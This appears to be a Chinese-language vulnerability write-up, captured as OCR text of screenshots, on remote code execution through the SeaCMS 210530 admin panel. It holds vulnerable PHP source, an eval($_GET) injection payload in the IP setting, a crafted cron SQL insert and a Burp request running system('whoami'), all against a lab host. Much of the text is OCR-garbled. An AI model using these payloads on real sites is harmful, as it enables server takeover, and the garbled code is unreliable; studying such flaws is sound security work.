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fwrite($fp," <"."?php\r\n™);

fwrite($fp,$configstr);

fwrite($fp,"7"."=");

™ admin_i.php SeaCMS\SeaCMS_210530\Upload\admin
fwrite($open,$v2);

™ admin_ip.php SeaCMS\SeaCMS_210530\Upload\admin
fwrite($open, $str);

™ admin_isapi.php SeaCMS\SeaCMS_210530\Upload\admin
fwrite($open,$v2);

™ admin_menu.php SeaCMS\SeaCMS_210530\Uploadiadmin
fwrite($fp.$menu);

™ admin_notify.php SeaCMS\SeaCMS_210530\Uploadiadmin
fwrite($open, $str);

™ admin_ping.php SeaCMS\SeaCMS_210530\Uploadiadmin
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fwrite($fp, $bakstr);
v~ ® admin_datarelate.php SeaCMS\SeaCMS_210530\Upload\admin 3
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SeaCMS > SeaCMS_210530 > Upload > admin > ® admin_ip.php > & html > & body

1 <?php

2 header('Content-Type:text/html;charset=utf-8");
3 require once(dirname( FILE )."/contig.php™);
4  CheckPurview();

5 if(%action=="set")

6 |

7 $v= % POST['v'];

8 $ip = $_POST['ip'];

9 —gopen=topent ..7data/admin/ip.php","w" );
10 $str="<?’php °';

11 $str.="%v = "'

12 $str.="%v";

13 $str.=""; ';

14 gstr.="%ip = "'}

15 gstr.="%ip";

16 $str.='"; ';

17 fstr.="

18 -($0pen $str);

19 fclose($open);

20 ShowMsg ("R B ZFRE ", "admin_ip.php™);
21 exit;

22}

o
u
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SeaCMS > SeaCMS_210530 > Upload > admin > ® admin_ip.php > ..
39 <div class="r content 1">

10 <form action="admin_ip.php?action=set"” method=
41 <table width="180%" border="8" cellpadding="6"

42  <tbody»<tr class="thead">»

Ilpostll>

cellspacing="0

43 <td colspan="5" class="td title">EF&IPEZETE</td>

44 </tr>
45 <tr>»
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46 <fd width="86%" align="lett"” helght="38" class="td border”:>

47  <?php require once("../data/admin/ip.php"); ?>
48 INREFTIR:
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E 7% Seacms KIS, 1EE1HO) http://ip/502pql/admin_ip.php , B\
127.0.0.1";eval($_GET[11);# , RIFECE.

QO & 10.10.10.133/502pql/admin_ip.php?1=phpinfo();

OxaiEmsEs D FFLE O =ENE @ =5k

PHP Version 7.3.4 pPhp

System Windows NT NDSEC-PC 6.1 build 7601 (Windows 7 Enterprise Edition Service Pack 1) AMD64

Build Date Apr 2 2019 21:50:57

Compiler MSVC15 (Visual C++ 2017)

Architecture x64

Configure Command cscript /nologo configure.js *--enable-snapshot-build” *-—-enable-debug-pack" "--disable-zts" "--with-

pdo-oci=c:\php-snap-build\deps_aux\oracle\x64\instantclient 12_1\sdkshared" "--with-oci8-12c=c:\php-
snap-build\deps_aux\oracle\xé4\instantclient_12_1\sdk,shared" "--enable-object-out-dir=../obj/" "
enable-com-dotnet=shared" "--without-analyzer" *--with-pgo"

Server API CGl/FastCGl

Virtual Directory Support disabled

Configuration File (php.ini) Path C\Windows

Loaded Configuration File C\phpstudy_pro\Extensions\php\php7.3.4nts\php.ini

Scan this dir for additional .ini files (none)
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SeaCMS » SeaCMS_210530 > Upload > admin > ™ admin_s.php > ..

1 <?php

2 header('Content-Type:text/html;charset=utf-8");
3 require_once(dirname(_FILE_)."/config.php™);
4  CheckPurview();

5 if(f$action=="set")

6 {

7 $v2=% POST['v'];

8 $open=fopen(". .fdata;’admin "w" )5

9 fwrite($open,$v2);
10 fclose(%$open);

11 ShowMsg ("R DI TR E!", "admin_s.php");

12 exit;

13}

14
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SeaCMS > SeaCMS_210530 > Upload > admin > ® admin_cron.php > ...
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J
header("Location:admin_cron.php?™);
exit;

¥

elseif($action=="run")

{

$cron = $dsql->Getone[ "SELECT * FROM sea_crons WHERE cronid='%id""};
if(lis_array($cron)){
ShowMsg (" HILEER","-1");
exit;

1

$Fi1ename=$cron[Filename]4
' 5 ==false){

$filenameArr=expldde("$",$filename);
$filename=%filename
$ridi=$filenameaArr[1];
$var_urli=$filenameArr[2%;
telseif(strpos($filename, '#")3cfalse){
$tilenameArr=explode("#",$f1
$tilename=$filenameArr[@];
$collectID=$filenameArr[1];
$collectPageNum=%filenameArr[2];
$getconnum=$filenameArr[3];

}

if(l@include once sea INC.($cronfile 4
showMsg (" E1E ER TS EEILHE ($cron
exit;

} else {
require once sea INC.'/cron.func.php';
cronnextrun($cron);
showMsg (" XIEFHATRLE", "admin_cron.php");
exit;

"/cronsf$f11ename") {

=1 :|._»- E[/E:; Iﬁ]ﬁu1ga& ] "o )J

else
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BREE 4: FIHE—#B &= select * from sea_data where tid =(select tid from sea_type where tname = "Jfi&1")
5: MR B4R delete from sea_data where tid =(select tid from sea_type where tname = "35iE1")
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INSERT INTO sea_crons

(cronid,available,type,name, filename,lastrun,nextrun,weekday,day,hour,minute) VALUES

@,3,'a',"'"name","'../../data/admin/s .txt"',1,1,2,2,3,3)

& C @ QO & 10.10.10.133/502pql/admin_cron.php
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QK»&EEEESZE %ﬁ@§ﬁ/ . fE/includ .
2 I IR T i
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e B B E=id) BefiE] EiniradiE R ATEE]
name 2021-6-23 2021-6-29
v BEY S H2H0381035

o @ «/../data/admin/s.txt 16:59 03:03
o ’3

FETNES

TERTEERL v

THIESERR()

(https://xzfile.aliyuncs.com/media/upload/picture/20210623173041-ad8b58e8—


https://xzfile.aliyuncs.com/media/upload/picture/20210623173020-a0ef211e-d405-1.png
https://xzfile.aliyuncs.com/media/upload/picture/20210623173041-ad8b58e8-d405-1.png

d405-1.png)
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Burp Intruder Repeater Window Help

XEZ¥IT 302 /Y

Target | Proxy | Spider | Scanner T Intruder T Repeater I Sequencer T Decoder I Comparer I Extender T Project options T User options | Alerts

[ Go J Cancel [< vJ >|r Target: http://10.10.10.133 [ﬂw
Request Response
Raw | Params | Headers | Hex Raw | Headers | Hex
GET /5021:c[lf'ad.m1n_crun.php?actlun:run&uii@)& stem("whoami I Iy Cache—Control: private &
HTTR/ 1.1 2 Connesction: close r
Host: 10.10.10.133 Content-Type: text/html:; charset=utf-8
User-Agent: Mozilla/5.0 (Windows NT 10.0; Winéd; x64; rv:iB5.0) Content-Length: 1682
Gecko/Z010010L Firefox/89.0
hoeepr: ndsec-pc\ndsec
text/html, application/xhtml+xanl, application/xml;q=0.9, imags/webp style="width:50px:text-transform:uppercase
SR/ % g=0.8 <html>
Accept-Language: <head>
Zh-CN, zh; q=0.8, zh-TW; q=0.7, zh-HK; q=0.5, =n-US;q=0.3,en; q=0.2 <title>0000</title>
Accept-Encoding: gzip, deflate <meta http-equiv="Content-Type" content="text/html; charset=utf-8" /><meta
Connection: close name="viewport"
Referer: http://10.10.10.133/502pgl/adwin_cron.php content="vidth=device-width, initial-scale=1,minimm-scale=1, maximm-scale=1l, user-
Cookie: _ atuve=1%7C18; PHPSESSID=3lemmedulBkeemaibesgdzenpp scalable=no">
Upgrade- Insecure-Requests: 1 <base target='_self'/>
<style>hody{background: Hf9fafd ;color:#818181}a {text-decoration:
none}.mac_msg_jump{width:90% max-width:420px;min-height:60px;margin:5% auto
0:border: 1px solid #293846 :border-radius: 4px:min-height: 200px:;box-shadow: 0px
1px 2px rgba(0,0,0,0.1) ;horder: 1px solid HO099CC;}.mac_msg jump
.title{margin-bottom:11px}.mac_msg_jump .text{margin-top:
50px;font-size:14px;color:#555 ;font-weight: normal;}.msg jump tit{height:
32px;padding: Opx:line-height: 32px:font-size: 14px:color: #DFE4ED:text-align:
left ;background: H0099CC;}</style></head>
<body leftmargin='0D' topmargin='0'>
< Nnters
<script>
var pgo=0;
L function JumpUrl()( L
v if(pgo==0){ location='admin cron.php'; pgo=1; } v
0 matches ? < + = 0 matches

Done

2,009 bytes | 123 millis
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K?php N
fphoto_markup = "0 ;
$photo_markdown = * 07 ;
$photo_marktype = "17;
$photo_wwidth = " 1007 ;
$photo_wheizht = 7100
$photo_waterpos = "17;
fphoto_watertext
fphoto_fontsize :
fphoto_fontcolor n000° -
$photo_marktrans = " 100"
$photo_diaphaneity = 100"
$photo_markime = "mark. gif ;
o

a
) Scacms,. net
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SeaCMS > SeaCMS_210530 > Upload > include > ® filterinc.php > ...

4 exit("Request Error!");

5 1

6

7 $magic_quotes_gpc = ini get('magic_quotes gpc');
8 function Filterall($fk, &$svar)

9
10 global $cfg notallowstr,$cfg replacestr;
11 if( is_array($svar) )
12 {
13 foreach($svar as $ k => $ v)
14 {
15 $svar[$ k] = Filterall($fk,% v);
16 1
17 1
18 else
19 {
20 if($cfg_notallowstr!l="" && preg match("#".%$cfg_notallowstr."#i", $svar))
21 {
22 ShowMsg (" $fk has not allow words!™,'-1");
23 exit();
24 }
25 if($cfg_replacestrl="")
26 {
27 $svar = preg replace('/'.$cfg _replacestr.'/i', "***", $svar);
28 1
29 1
30 if (1$magic guotes epc) {
31 $svar = addslashes($svar);
32 1
33 return $svar;
3}

35
36  /* X _GET, POST, COOKIEHITilyE */
37  foreach(Array(' GET","' POST',' COOKIE') as $ request)

38 {

39 toreach($$_request as $ k => $ v)
40 {

41 ${$ k} = Filterall($ k,$ v);

(https://xzfile.aliyuncs.com/media/upload/picture/20210623173155-d9cc9886 -
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SeaCMS » SeaCMS_210530 > Upload > admin > ™ admin_config_mark.php > ...
14 if($dopost=="save")
15 {
16
17 $vars = array('photo markup', ‘photo markdown', 'photo marktype','photo wwidth', 'photo wheight
18 $configstr = "";
19 foreach($vars as $v)
20 {
21 ${%v} = str_replace("'","",${%v});
22 $configstr .= "\§{%v} = "".${v}."";\r\n";
23 1
24 $shortname = "";
25 if(is_uploaded file($newimg))
26 {
27 $allowimgtype= explode('|",$cfg_imgtype);
28 $tinfo=pathinfo($newimg_name);
29 $imgfile type = $finfo[ 'extension'];
30 if(!in_array($imgfile_type,$allowimgtype))
31 {
22 ShowMsg (" LR E FHEEEE, E2F {$cfe photo supportl EREIEE—F1 ", "-1");
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QO A& 10.10.10.133/502pql/admin_config mark.php?9=phpinfo();

PHP Version 7.3.4

System

Windows NT NDSEC-PC 6.1 build 7601 (Windows 7 Enterprise Edition Service Pack 1

Build Date

Apr 2 2019 21:50:57

Compiler

MSVC15 (Visual C++ 2017)

Architecture

x64

Configure Command

cscript /nologo configure.js "--enable-snapshot-build” "--enable-debug-pack” *--dis
pdo-oci=c\php-snap-build\deps_aux\oracle\x64\instantclient_12_1\sdk,shared" "--w
snap-build\deps_aux\oracle\x64\instantclient_12_1\sdk,shared" "--enable-object-out
enable-com-dotnet=shared" "--without-analyzer" "--with-pgo"

Server API CGl/FastCGl
Virtual Directory Support disabled
Configuration File (php.ini) Path CAWindows

Loaded Configuration File

C\phpstudy_pro\Extensions\php\php7.3.4nts\php.ini

Scan this dir for additional .ini files

(none)

Additional .ini files parsed

(none)
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